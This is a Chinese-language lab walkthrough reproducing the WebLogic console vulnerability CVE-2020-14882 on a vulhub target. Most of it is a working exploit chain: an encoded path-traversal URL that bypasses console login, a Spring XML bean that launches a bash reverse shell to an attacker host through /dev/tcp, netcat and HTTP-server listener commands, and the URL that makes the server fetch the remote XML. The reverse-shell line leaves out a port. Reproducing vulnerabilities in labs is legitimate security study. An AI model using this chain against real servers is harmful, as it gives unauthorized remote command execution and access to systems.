前提回顾
Weblogic漏洞复现之弱口令
Weblogic漏洞复现之任意文件上传(CVE-2018-2894)
Weblogic漏洞复现之SSRF(CVE-2014-4210)
Weblogic简介
全称为Oracle WebLogic Server,是基于JavaEE服务器的中间件
基础环境
靶场:weblogic(vulhub)
复现过程
这里有三种利用方式,前面几种在这里就不演示了,这里演示下利用XML,想了解的可以看看下面这篇文章
CVE-2020-14882 Weblogic Console远程代码执行漏洞复现(豪华版)
在配置好环境后,我们这里先测试下看看是否存在未授权漏洞
构造payload看看是否能直接登入后台,不需要验证
http://xxx.xxx.xxx.xxx:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=JmsSAFAgentSAFAgentTablePage&handle=com.bea.console.handles.JMXHandle%28%22com.bea%3AName%3Dbase_domain%2CType%3DDomain%22%29
可以看见,直接登入了后台,说明存在漏洞,那么我们就可以好好利用这个漏洞,这里我们用XML的方式,构建redis反弹
XML内容:
//记得修改ip
<beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>/bin/bash</value>
<value>-c</value>
<value><![CDATA[bash -i >& /dev/tcp/xxx.xxx.xxx.xxx 0>&1]]></value>
</list>
</constructor-arg>
</bean>
</beans>
这里我们还需要利用一个工具来提供HTTP服务器
添加链接描述
这里面讲解了使用流程,我们只需要按照流程来做即可
先准备另外一台虚拟机,用来监听
该虚拟机需要配备上面的工具和XML代码
此时输入
//这里监听的端口可以修改
python -m http.server 8888
此时将这台虚拟机多开或者通过Xshell工具再开一个窗口,在这个窗口中监听
//这里监听的端口可以修改
nc -lvp 5555
接下来只需要在浏览器中输入对应的url即可,
http://IP1:7001/console/images/%252E%252E%252Fconsole.portal?_nfpb=true&_pageLabel=HomePage1&handle=com.bea.core.repackaged.springframework.context.support.ClassPathXmlApplicationContext("http://IP2:8888/poc.xml")
//IP1 改成你的靶机的ip
//IP2 改成你的监听机的ip
//8888 改成你的监听机监听端口
接下来等待监听机5555端口的反应,看到返回bash即可,这里复现成功有一定偶然性,可以多次尝试